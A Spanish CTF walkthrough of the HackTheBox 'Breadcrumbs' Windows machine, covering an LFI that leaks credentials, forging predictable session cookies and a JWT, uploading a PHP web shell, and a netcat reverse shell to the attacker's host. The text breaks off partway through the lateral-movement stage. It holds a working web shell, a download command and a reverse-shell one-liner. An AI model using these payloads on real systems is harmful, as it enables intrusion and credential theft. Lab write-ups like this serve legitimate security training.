HackTheBox - Breadcrumbs
Creado
Máquina Windows nivel difícil. Jugaremos mucho con inyecciones y robos :P Encontraremos un LFI, haremos cookie-hijacking, leeremos contraseñas almacenadas, jugando con binarios encontramos una URL que nos llevara de la mano a un SQLi y haremos desencriptación con claves AES.
TL;DR (Spanish writeup)
Creada por: helich0pper.
¿Todo perfe?
Se viene un laaargo writeup, pero es bastante practico y con cositas interesantes…
Máquina muuuuuy divertida, empezaremos encontrando un servicio web que nos permite (entre varias cosas) listar libros de una base de datos y subir archivos, pero solo si tenemos permisos de administrador. En vez de encontrar una vulnerabilidad SQL en el listado de libros encontraremos un LFI que nos permitirá ver archivos del sistema, usaremos esto para entender como tener permisos de administrador y subir el archivo.
Validando nos daremos cuenta de que es necesario tener la sesión del usuario paul dentro del portal web; con esto en mente visitaremos el archivo que genera las cookies (cookie.php
) para entenderlo y ver si podemos simular la sesión de paul. Y sí, vemos como se generan y despues de algo de jugueteo logramos obtener la cookie del usuario paul
, la usaremos para obtener acceso como él en el sitio web.
Despues de unos movimientos con tokens lograremos subir archivos al sitio, por medio de Burp podemos cambiar el contenido e incluso el nombre del archivo a subir, con esto lograremos subir un archivo .php
para obtener ejecucion remota de comandos, generaremos una Reverse Shell para finalmente obtener una sesión como el usuario www-data (:
Enumerando encontraremos unas credenciales para un servicio de pizza a domicilio :P el cual tiene info de juliette, que validando, es un usuario del sistema y con esas credenciales logramos su sesión por medio de SSH
.
En las “notas” de juliette encontraremos 3 tareas a realizar, pero que 1 nos llamara la atención, habla sobre el software Microsoft Sticky Notes y que es necesario migrar las contraseñas, ya que las guarda en texto plano”, con esto en mente lograremos (con ayuda de Google) encontrar la ruta donde se guardan estos archivos y efectivamente, encontraremos las credenciales de juliette, pero a la vez las del usuario development, las usaremos para migrarnos a su sesión.
Encontraremos un binario algo inquietante que juega con llaves AES, revisando su contenido (type <file>
) veremos que es tipo ELF y que tiene hardcodeada una URL con la que hace el juego de las llaves… La URL corre en el puerto 1234, si jugamos con cURL
e intentamos “explotarla” vemos respuesta por parte de mysql
, nos apoyaremos de un Remote Port Forwarding para llevarnos el puerto 1234 a nuestra máquina y probar cositas, nos enfrentaremos a una inyección SQL blind que usaremos para extraer la password del usuario administrador.
Finalmente usaremos la columna aes-key
(inicialmente nos la muestra como resultado de una ejecucion normal hacia la URL, pero también podemos extraerla con el SQLi) para desencriptar la password. Usando la contraseña desencriptada lograremos una sesión en la máquina como el usuario administrator.
Mucho textoooooooooooo, a darle.
…
Clasificación de la máquina
Escribo para tener mis “notas”, por si algun dia se me olvida todo, leer esto y reencontrarme (o talvez no) :) además de enfocarme en plasmar mis errores y exitos (por si ves mucho texto), todo desde una perspectiva más de enseñanza que de solo plasmar lo que hice.
…
¿Que vamos a hacer?
- Enumeración.
- Explotación.
- Movimiento Lateral Juliette.
- Movimiento Lateral Development.
- Escalada de privilegios.
…
Enumeración #
Inicialmente haremos un escaneo de puertos para saber que servicios están activos en la máquina:
❭ nmap -p- --open -v 10.10.10.228 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535. |
–open | Solo los puertos que están abiertos. |
-v | Permite ver en consola lo que va encontrando. |
-oG | Guarda el output en un archivo con formato grepeable para usar una función de S4vitar que me extrae los puertos en la clipboard. |
❭ cat initScan
# Nmap 7.80 scan initiated Wed Mar 10 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.10.228
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.228 () Status: Up
Host: 10.10.10.228 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 443/open/tcp//https///, 445/open/tcp//microsoft-ds///, open/tcp//mysql///, 5040/open/tcp//unknown///, 7680/open/tcp//pando-pub///, 49664/open/tcp/////, 49665/open/tcp/////, 49666/open/tcp/////, 49667/open/tcp/////, 49668/open/tcp////, 49669/open/tcp/////
# Nmap done at Wed Mar 10 25:25:25 2021 -- 1 IP address (1 host up) scanned in 74.39 seconds
Oko, tenemos varios puertos:
Puerto | Descripción |
---|---|
22 | SSH: Acceso a un servidor remoto por medio de un canal seguro. |
80 | HTTP: Servidor web. |
135 | RPC: Permite ejecutar procesos remotamente. |
139 | SMB: Permite compartir información entre dispositivos de la misma red. |
443 | HTTPS: Servidor web “seguro”. |
445 | SMB: Permite compartir información entre dispositivos de la misma red. |
3306 | MYSQL: Gestor de bases de datos. |
7680 | pando-pub: Aplicación para enviar archivos muy pesados. |
5040/49664/49665 | No sabemos |
49666/49667/49668/49669 | No sabemos |
Ahora hagamos un escaneo de scripts y versiones con base en cada servicio (puerto) encontrado, asi validamos a profundidad cada uno:
❭ nmap -p 22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 -sC -sV 10.10.10.228 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
❭ cat portScan
# Nmap 7.80 scan initiated Wed Mar 10 25:25:25 2021 as: nmap -p 22,80,135,139,443,445,3306,5040,7680,49664,49665,49666,49667,49668,49669 -sC -sV -oN portScan 10.10.10.228
Nmap scan report for 10.10.10.228
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| LANDesk-RC, NULL, SIPOptions, WMSRequest:
|_ Host '10.10.14.194' is not allowed to connect to this MariaDB server
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=3/10%Time=60494628%P=x86_64-pc-linux-gnu%r(NU
SF:LL,4B,"G...............................................................
...
# Mucha info vacia
...
..............................................................x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3m08s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-10T22:26:14
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Mar 10 25:25:25 2021 -- 1 IP address (1 host up) scanned in 181.68 seconds
Obtenemos:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH for_Windows_7.7 (protocol 2.0) |
80 | HTTP | Apache httpd 2.4.46 |
135 | RPC | Microsoft Windows RPC |
139 | SMB | Microsoft Windows netbios-ssn |
443 | HTTPS | Apache httpd 2.4.46 |
445 | SMB | Ni idea u.u |
3306 | MYSQL | MariaDB |
7680 | PANDO | No sabe ._ . |
… | Unknown | Unknown |
Pues démosle a los servicios y veamos por donde podemos empezar a romper :O
…
Puerto 80 ⌖
Bien, simplemente obtenemos lo que parece ser un simulador de librería, si nos fijamos hay un botón que nos redirecciona a /php/books.php
, veamos:
Jmmm, un buscador de libros intuyo, podemos buscar por título y por autor, si buscamos por cualquier letra nos filtra varios libros (claramente dependiendo de la letra :P), como por ejemplo buscando en el título la letra a
, tenemos:
Enumerando el código fuente, vemos la ruta “http://10.10.10.228/js/books.js
” que es la que procesa lo que hagamos en la web de los libros, asi mismo vemos en algunas partes del JavaScript el llamado de otro script:
../includes/bookController.php
.
Asi que tenemos otra ruta para enumerar, /includes
. Esto me dio la idea de hacer un escaneo rápido con nmap para ver que recursos no están a la vista sobre el servidor web del puerto 80:
❭ nmap -p 80 --script=http-enum 10.10.10.228 -oN webScan
❭ cat webScan
# Nmap 7.80 scan initiated Wed Mar 10 25:25:25 2021 as: nmap -p 80 --script=http-enum -oN webScan 10.10.10.228
Nmap scan report for 10.10.10.228
Host is up (0.12s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /db/: BlogWorx Database
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1h php/8.0.1'
| /db/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1h php/8.0.1'
| /icons/: Potentially interesting folder w/ directory listing
| /includes/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1h php/8.0.1'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1h php/8.0.1'
|_ /php/: Potentially interesting directory w/ listing on 'apache/2.4.46 (win64) openssl/1.1.1h php/8.0.1'
# Nmap done at Wed Mar 10 25:25:25 2021 -- 1 IP address (1 host up) scanned in 27.39 seconds
Bien, algo que me llamo la atención fue la descripción de la carpeta /db/
:
- BlogWorx Database.
Que si buscamos en internet, nos muestra exploits viejos relacionados con SQLi
sobre ese servicio, pero probando con el archivo que esta dentro de esa carpeta (/db/db.php
) no conseguimos nada… Para tenerlo en cuenta.
Si validamos el contenido del servicio HTTPS (443)
vemos el mismo contenido que el del puerto 80
…
Haciendo un escaneo con dirsearch
encontramos nuevos directorios:
❭ dirsearch.py -u http://10.10.10.228/ -q
...
302 - 0B - http://10.10.10.228/portal/ -> login.php
...
Validando, efectivamente tenemos un login y también la opción de registrarnos:
En esta pantalla ya tenemos un redireccionamiento (en helper
) a un archivo llamado /admins.php
el cual tiene varios usuarios potenciales para tener en cuenta:
Despues de registrarnos y entrar al “portal” tenemos:
(Menu desplegable arriba a la derecha)
Contamos con 4 botones, veamos Check tasks
:
Interesante… Relaciona todos los problemas que necesitan arreglar tanto en la web como en la compañia… Lo que nos damos cuenta con el ultimo problema es que si validamos la opcion logout
del menu desplegable claramente hay un problema con su ejecución:
Bien, por ahora sigamos enumerando los recursos… Si vemos el botón Order pizza
obtenemos el mensaje:
Disabled for economical reasons
:P
Validando el botón User management
:
Vemos también varios usuarios, la mayoría ya los habíamos visto en el anterior recurso, pero en este encuentro tenemos sus roles y además 3 nuevos usuarios:
sirine
-> Reception.juliette
-> Server Admin.support
-> -.
De los 3 juliette
es interesante, tengámosla presente por si algo, sigamos.
Si validamos el último botón (File management) nos llevaría al recurso /files.php
, pero al dar clic tenemos un redireccionamiento a /index.php
… Si jugamos con BurpSuite podemos interceptar la petición antes de que nos redireccione para ver que contenido tiene realmente, esto jugando con el código de estado, pasándolo de 302 (Found) a 200 (Ok), hagámoslo rápidamente:
Primero habilitamos en las opciones del proxy el ítem para interceptar las respuestas:
Ahora, lanzamos la petición desde la web y la interceptamos en Burp
:
Damos clic en Forward
y obtenemos:
Ahora simplemente modificamos el status code de 302
a 200
y damos clic en Forward
:
Bien, tenemos un apartado para subir archivos .zip
, pero si intentamos subir algo obtenemos:
Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.
Asi ees como viaja la petición:
Y este es el archivo (/portal/assets/js/files.js
) que procesa la petición:
$(document).ready(function(){
$("#upload").click(function(){
var formData = new FormData();
formData.append('file', $('#file')[0].files[0]);
formData.append('task', $('#task').val() + ".zip");
post(formData);
formData = null;
})
});
function post(formData){
jQuery.ajax({
url: "../includes/fileController.php",
type: "POST",
processData: false,
contentType: false,
data: formData,
success: function(res){
$("#message").html(res);
}
});
}
No sé por qué dice “upload code” siempre, pero bueno esa es la respuesta. También entiendo que no podemos subir nada por el status que tenemos desde el inicio que dice Role: Awaiting approval
, asi que por ahora no podremos hacer nada con esto…
Si queremos mantener la opción hecha en Burp
sobre el status code, podemos crear una regla para que cada vez que llegue un status code de 302
nos lo cambie por 200
:
- Proxy > Options > Match and Replace > Add:
Y ya no tendríamos que estar modificando la petición en Burp
.
…
Jugando con Burp
caí en cuenta de algo, al iniciar sesión se nos genera una Cookie
con el siguiente formato:
Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJKYXRhIjp7InVzZXJuYW1lIjoibGFueiJ9fQ.liQqzYVpD3qq_0y70ft7fHPwBFknX1Hd2Naxp7Ioubo;
PHPSESSID=lanz23ccbc5fab78e561862271461cc6bedc
O sea:
Cookie: token=BLABLABLA; PHPSESSID=usernameBLABLABLA
Podemos probar varias cosas, como incrementar el tamaño de nuestro username
, cambiar el contenido del PHPSESSID
, agregar números o incluso caracteres especiales y ver si nos responde algo inusual…
Pues despues de probar algunas de ellas, si agregamos el símbolo #
en la variable PHPSESSID
nos responde:
Opa, vemos la ruta donde esta el servidor y además un usuario (www-data
).
También para tenerlo en cuenta…
En este punto me estanqué, asi que volví atrás para ver que tenía y que no había revisado bien (y pues bien hecho).
Volviendo al apartado donde buscamos libros por su título y autor, si nos enfocamos en el código que hace todo el proceso, nos damos cuenta de algo interesante:
Les pongo el codigo pa ver si ven el error antes de explicarlo :P
http://10.10.10.228/js/books.js
$(document).ready(function(){
var book = null;
$("#note").click(function(){
$("#tableBody").html("");
const title = $("#title").val();
const author = $("#author").val();
if(title == "" && author == ""){
$("#message").html("Nothing found :(");
}
else{
searchBooks(title, author);
}
})
$("#interested").click(function(){
});
});
function getInfo(e){
const bookId = "book" + $(e).closest('tr').attr('id') + ".html";
jQuery.ajax({
url: "../includes/bookController.php",
type: "POST",
data: {
book: bookId,
method: 1,
},
dataType: "json",
success: function(res){
$("#about").html(res);
}
});
}
function modal(){
return '<button type="button" onclick="getInfo(this)" class="btn btn-outline-warning" data-toggle="modal" data-target="#actionModal">Book</button>';
}
function searchBooks(title, author){
jQuery.ajax({
url: "../includes/bookController.php",
type: "POST",
data: {
title: title,
author: author,
method: 0,
},
dataType: "json",
success: function(res){
if(res.length == 0 || res == false){
$("#message").html("Nothing found :(");
}
else{
let ret = "";
for(book in res){
$("#message").html("");
ret += "<tr id='" + res[book].id + "'>";
ret += "<td>"+res[book].title+"</td>";
ret += "<td>"+res[book].author+"</td>";
ret += "<td>" + modal() + "</td>";
ret += "</tr>";
$("#tableBody").html(ret)
}
}
}
});
}
Si validamos todo el recorrido que hace (comparándolo con el HTML
del cual extrae los IDs
) tendríamos resumidamente algo asi:
- Cuando se genere un clic en el botón Search (ID
note
) guarda la info de los dos campos y si alguno de los dos tiene contenido se va para la funciónsearchBooks()
. - Aquí simplemente hace la búsqueda por medio de
AJAX
y si encuentra resultados los muestra, por ahora nada relevante. - Cuando nos muestra todos los libros encontrados, en pantalla tenemos más opciones:
- Si volvemos al
codigo
y buscamos el llamado al botónBook
, vemos que se genera cada uno de ellos en la respuesta anterior, esta siendo llamada por la funciónmodal()
y su contenido:
...
function modal(){
return '<button type="button" onclick="getInfo(this)" class="btn btn-outline-warning" data-toggle="modal" data-target="#actionModal">Book</button>';
...
- Cuando se da clic nos lleva a la función
getInfo()
y acá es donde esta el jugueteo:
...
function getInfo(e){
const bookId = "book" + $(e).closest('tr').attr('id') + ".html";
jQuery.ajax({
url: "../includes/bookController.php",
type: "POST",
data: {
book: bookId,
method: 1,
},
...
…
Explotación #
Que tenemos…
- Vemos que genera una cadena de texto extrayendo el ID que despues buscara como
bookId
en el archivobookController.php
. - Simulando la cadena tendríamos algo asi:
book2.html
(2 o cualquier numero).
Esto ya llama la atención porque podemos pensar que esta llamando archivos .html
del sistema, o sea que podemos probar algún tipo de LFI
(Local File Inclusion) o RFI
(Remote File Inclusión).
Interceptemos con Burp
y juguemos…
Local File Inclusion: Ver archivos del sistema a lso cuales normalemten no tendriamos acceso. Remote File Inclusion: Ver archivos remotos (externos) desde el sistema local. (Lo cual es muuuuuuuuucho más peligroso)
La petición normal sería esta:
Ahora modificando el contenido podríamos probar a encontrar inicialmente el archivo bookController.php
para ver que tan lejos estamos del directorio /htdocs
y centrarnos…
El propio output al poner una ruta equivocada nos indica donde estamos, pero no me acordaba.
Probando ../includes...
tenemos el output del archivo:
Un poco horrible el output :P, pero bueno, al menos confirmamos una inclusión local de archivos (LFI).
Viendo su contenido me acordé del archivo db.php
, si vemos su contenido y lo intentamos hacer más bonito tenemos:
book=../db/db.php&method=1
<?php
$host = "localhost";
$port=3306;
$user="bread";
$password="jUli901";
$dbname="bread";
$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
?>
Nice, tenemos las credenciales de la base de datos de lo que parece ser el usuario juliette
(si dice “bread” pero la password dice otra cosa :P)… Intentando rehusar esas contraseñas contra el servicio SSH
y mysql
no logramos nada. Sigamos jugando con el LFI
…
(Les dejo el contenido del archivo vulnerable para que le echen un ojo al problema:
<?php
if($_SERVER['REQUEST_METHOD'] == "POST"){
$out = "";
require '../db/db.php';
$title = "";
$author = "";
if($_POST['method'] == 0){
if($_POST['title'] != ""){
$title = "%".$_POST['title']."%";
}
if($_POST['author'] != ""){
$author = "%".$_POST['author']."%";
}
$query = "SELECT * FROM books WHERE title LIKE ? OR author LIKE ?";
$stmt = $con->prepare($query);
$stmt->bind_param('ss', $title, $author);
$stmt->execute();
$res = $stmt->get_result();
$out = mysqli_fetch_all($res,MYSQLI_ASSOC);
}
elseif($_POST['method'] == 1){
$out = file_get_contents('../books/'.$_POST['book']);
}
else{
$out = false;
}
echo json_encode($out);
}
e.e)
Si recordamos teniamos un archivo para subir objetos .zip
, veamos su estructura:
book=../portal/php/files.php&method=1
<?php
session_start();
$LOGGED_IN = false;
if($_SESSION['username'] !== "paul"){
header("Location: ../index.php");
}
if(isset($_SESSION['loggedIn'])){
$LOGGED_IN = true;
require '../db/db.php';
}
else{
header("Location: ../auth/login.php");
die();
}
?>
<html lang="en">
<head>
<title>Binary</title>
...
...
La razón por la que no podemos entrar es porque no es paul
el que hace la petición :O
Despues de dar algunas vueltas entre archivos buscando cositas, encontré una cadena interesante que quizás nos pueda servir despues (secret_key
):
book=../portal/authController.php&method=1
...
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
...
Y encontramos como se genera la cookie
de sesión:
book=../portal/cookie.php&method=1
<?php
/**
* @param string $username Username requesting session cookie
* * @return string $session_cookie Returns the generated cookie
* * @devteam
* * Please DO NOT use default PHPSESSID; our security team says they are predictable.
* * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
**/
function makesession($username){
$max = strlen($username) - 1;
$seed = rand(0, $max);
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
$session_cookie = $username.md5($key);
return $session_cookie;
}
Jugando con un ejecutador de código online de PHP
podemos entender mejor que hace:
<?php
$username = "lanz";
echo "Username: $username\n";
//Toma el tamaño del username y le quita 1 (lanz (4)-1=3)
$max = strlen($username) - 1;
echo "Max: $max\n";
//Toma un numero (en este caso) entre 0 y 3 (0,1,2,3)
$seed = rand(0, $max);
echo "Seed: $seed\n";
//Con el numero anterior extrae un caracter del username y lo junta con dos cadenas
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
echo "Key: $key\n";
//Pasa el valor de la cadena a md5 e imprime el username+md5
$session_cookie = $username.md5($key);
//return $session_cookie;
echo $session_cookie;
?>
Y si ejecutamos:
Username: lanz
Max: 3
Seed: 3
Key: s4lTy_stR1nG_z(!528./9890
lanz23ccbc5fab73e561862271461cc6bedc
De esto podemos concluir que al final solo se nos pueden generar 4 tipos de cookie
, ya que lo único que varía es el carácter y como nuestro nombre es de 4 pues solo pueden ser 4 😇
Ahora, teniendo en cuenta esto, podemos iterar sobre el usuario lanz y ver que cookies
se le generan y ver si alguna coincide con la que tenemos actualmente.
Démosle:
<?php
$username = "lanz";
echo "Username: $username\n";
#Toma el tamaño del username y le quita 1 (lanz (4)-1=3)
$max = strlen($username) - 1;
echo "Max: $max\n\n";
#Toma un numero (en este caso) entre 0 y 3 (0,1,2,3)
//$seed = rand(0, $max);
for ($seed = 0; $seed < 4; $seed++) {
echo "Seed: $seed\n";
echo "Letra: $username[$seed]\n";
#Con el numero anterior extrae un caracter del user name y lo junta con dos cadenas
$key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
echo "Key: $key\n";
#Pasa el valor de la cadena a md5 e imprime el username+md5
$session_cookie = $username.md5($key);
//return $session_cookie;
echo $session_cookie."\n\n";
}
?>
Y su resultado:
Username: lanz
Max: 3
Seed: 0
Letra: l
Key: s4lTy_stR1nG_l(!528./9890
lanz47200b180ccd6835d25d034eeb6e6390
Seed: 1
Letra: a
Key: s4lTy_stR1nG_a(!528./9890
lanz61ff9d4aaefe6bdf45681678ba89ff9d
Seed: 2
Letra: n
Key: s4lTy_stR1nG_n(!528./9890
lanze640846cb7f7acdbe36b4f006d12fb3e
Seed: 3
Letra: z
Key: s4lTy_stR1nG_z(!528./9890
lanz23ccbc5fab73e561862271461cc6bedc
(Y si, una de las cookies
que se genera, es la que tenemos actualmente en nuestra sesión)
Ahora, hagamos lo mismo pero con paul
:
<?php
$username = "paul";
...
Username: paul
Max: 3
Seed: 0
Letra: p
Key: s4lTy_stR1nG_p(!528./9890
paula2a6a014d3bee04d7df8d5837d62e8c5
Seed: 1
Letra: a
Key: s4lTy_stR1nG_a(!528./9890
paul61ff9d4aaefe6bdf45681678ba89ff9d
Seed: 2
Letra: u
Key: s4lTy_stR1nG_u(!528./9890
paul8c8808867b53c49777fe5559164708c3
Seed: 3
Letra: l
Key: s4lTy_stR1nG_l(!528./9890
paul47200b180ccd6835d25d034eeb6e6390
Si probamos con un editor de cookie, logramos robarle la sesión a paul con la última generada:
Seed: 3
Letra: l
Key: s4lTy_stR1nG_l(!528./9890
paul47200b180ccd6835d25d034eeb6e6390
Ya podemos navegar tranquilamente sobre el recurso /files.php
, pero hay un problema aún, ya que el otro cookie
(token
) tiene contenido de lanz
y no de paul
asi que no podemos subir nada aún:
Si borramos la cookie token
obtenemos este error:
book=../portal/includes/fileController.php&method=1
<?php
$ret = "";
require "../vendor/autoload.php";
use \Firebase\JWT\JWT;
session_start();
function validate(){
$ret = false;
$jwt = $_COOKIE['token'];
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
$ret = JWT::decode($jwt, $secret_key, array('HS256'));
return $ret;
}
if($_SERVER['REQUEST_METHOD'] === "POST"){
$admins = array("paul");
$user = validate()->data->username;
if(in_array($user, $admins) && $_SESSION['username'] == "paul"){
error_reporting(E_ALL & ~E_NOTICE);
$uploads_dir = '../uploads';
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_POST['task'];
if(move_uploaded_file($tmp_name, "$uploads_dir/$name")){
$ret = "Success. Have a great weekend!";
}
else{
$ret = "Missing file or title :(" ;
}
}
else{
$ret = "Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.";
}
echo $ret;
}
Vemos el proceso por el que pasa el archivo que subamos (no hay validación de nada :O) y la carpeta en la que queda guardado: /uploads
.
Usando esta web también vemos como esta conformado el token
y asi mismo podemos modificarla para generar la de paul
:
Siguiendo la guía, ahora simplemente modificaríamos el username por paul
y pondríamos en ese cuadro la secret key
, generaríamos e intentaríamos de nuevo subir el archivo .zip
Validamos:
Perfecto, ahora sí, modifiquemos con el editor de cookies la variable token
y validemos desde la web:
Si jugamos con burp
para modificar el nombre con el que viaja logramos subir un archivo .php
con contenido PHP
:
Original sin modificar:
Spoiler: Ignoren el PHP
, no puedo borrarlo :P
Se subió como holi.zip
, simplemente en Burp
le cambiamos la extensión:
...
<?php
echo "Hola";
?>
-----------------------------1138605338005785511225757143
Content-Disposition: form-data; name="task"
holi.php
...
Perfecto, ya con esto podemos conseguir ejecucion de comandos en el sistema, hagámoslo para lanzarnos una Reverse Shell…
...
Content-Type: application/x-php
<?php
$coma=shell_exec($_GET['xmd']); echo $coma;
?>
-----------------------------1138605338005785511225757143
...
Enumerando podemos escribir en el directorio:
C:\Users\www-data\Desktop\\xampp\tmp
Aprovechemos esto para subir el binario nc
para posteriormente lanzarnos una petición hacia nuestro listener y obtener una Shell:
Nos ponemos en escucha donde tengamos el binario y ejecutamos:
?xmd=powershell -c "IWR -uri http://10.10.14.194:8000/nc64.exe -OutFile C:\\Users\\www-data\\Desktop\\xampp\\tmp\\nc.exe"
Validamos:
?xmd=dir C:\Users\www-data\Desktop\\xampp\tmp\
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Users\www-data\Desktop\\xampp\tmp
03/12/2021 12:55 PM <DIR> .
03/12/2021 12:55 PM <DIR> ..
03/12/2021 12:47 PM 12 holas.txt
03/12/2021 12:55 PM 45,272 nc.exe
03/12/2021 12:53 PM 0 sess_04f3tvcgqt3lcuabhihd56tbdv
...
Perfecto, ahora nos ponemos es escucha con nc
y ejecutamos:
?xmd=C:\Users\www-data\Desktop\\xampp\tmp\nc.exe 10.10.14.194 4433 -e cmd.exe
Yyyy:
Tamos dentroooooooooooooooeoeoeowowoewoeowirjaksdfj (: Ahora a enumerar…
Script que nos permite ejecutar comandos automatizando todo lo anterior.
…
Movimiento lateral www-data -> juliette #
Dándole un vistazo a los archivos que hay en la ruta /portal
encontramos una carpeta llamativa sobre pizza :P
PS C:\Users\www-data\Desktop\\xampp\htdocs\portal> dir
...
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/8/2021 5:37 AM assets
d----- 2/8/2021 5:37 AM db
d----- 2/8/2021 5:37 AM includes
d----- 2/8/2021 5:37 AM php
d----- 2/8/2021 5:37 AM pizzaDeliveryUserData
d----- 3/12/2021 4:46 PM uploads
d----- 2/8/2021 5:37 AM vendor
-a---- 2/1/2021 10:40 PM 3956 authController.php
-a---- 2/1/2021 9:40 PM 114 composer.json
-a---- 11/28/2020 12:55 AM 6140 composer.lock
-a---- 12/9/2020 3:30 PM 534 cookie.php
-a---- 2/1/2021 6:59 AM 3757 index.php
-a---- 2/1/2021 1:57 AM 2707 login.php
-a---- 1/16/2021 1:47 PM 694 logout.php
-a---- 2/1/2021 1:58 AM 2934 signup.php
Pues si entramos:
PS C:\Users\www-data\Desktop\\xampp\htdocs\portal\pizzaDeliveryUserData> dir
...
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/28/2020 1:48 AM 170 alex.disabled
-a---- 11/28/2020 1:48 AM 170 emma.disabled
-a---- 11/28/2020 1:48 AM 170 jack.disabled
-a---- 11/28/2020 1:48 AM 170 john.disabled
-a---- 1/17/2021 3:11 PM 192 juliette.json
-a---- 11/28/2020 1:48 AM 170 lucas.disabled
-a---- 11/28/2020 1:48 AM 170 olivia.disabled
-a---- 11/28/2020 1:48 AM 170 paul.disabled
-a---- 11/28/2020 1:48 AM 170 sirine.disabled
-a---- 11/28/2020 1:48 AM 170 william.disabled
Y claramente vemos algo diferente (además de ser algo de juliette
, que desde el inicio nos llamó la atención), juliette.json
:
PS C:\Users\www-data\Desktop\\xampp\htdocs\portal\pizzaDeliveryUserData> type juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
Tenemos nuevas credenciales, al parecer de un servicio de pizza, en el que juliette
le da igual poner sus credenciales porque simplemente son del portal de pizza, no? Salgamos de la duda…
Usando SSH
hacia la máquina:
Perfecto, haciendo reutilización de credenciales logramos obtener una sesión como juliette
dentro del sistema (: con ella tenemos la flag del usuario…
…
Movimiento lateral juliette > development #
Tenemos un archivo con tareas que juliette
tiene planteado hacer:
PS C:\Users\juliette\Desktop> type .\todo.html
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>
</html>
Si nos fijamos en la segunda tarea, habla sobre el software Microsoft Store Sticky Notes (app para tomar notas en el escritorio), que al parecer guarda las contraseñas en texto plano…
Con esto en la cabeza y buscando en internet cuál es el directorio donde se guardan, encontramos este recurso:
- How to back up and restore Sticky Notes in Windows 10.
- Acá también lo reseñan, How to Back Up and Restore Sticky Notes in Windows.
Donde nos habla que en la ruta:
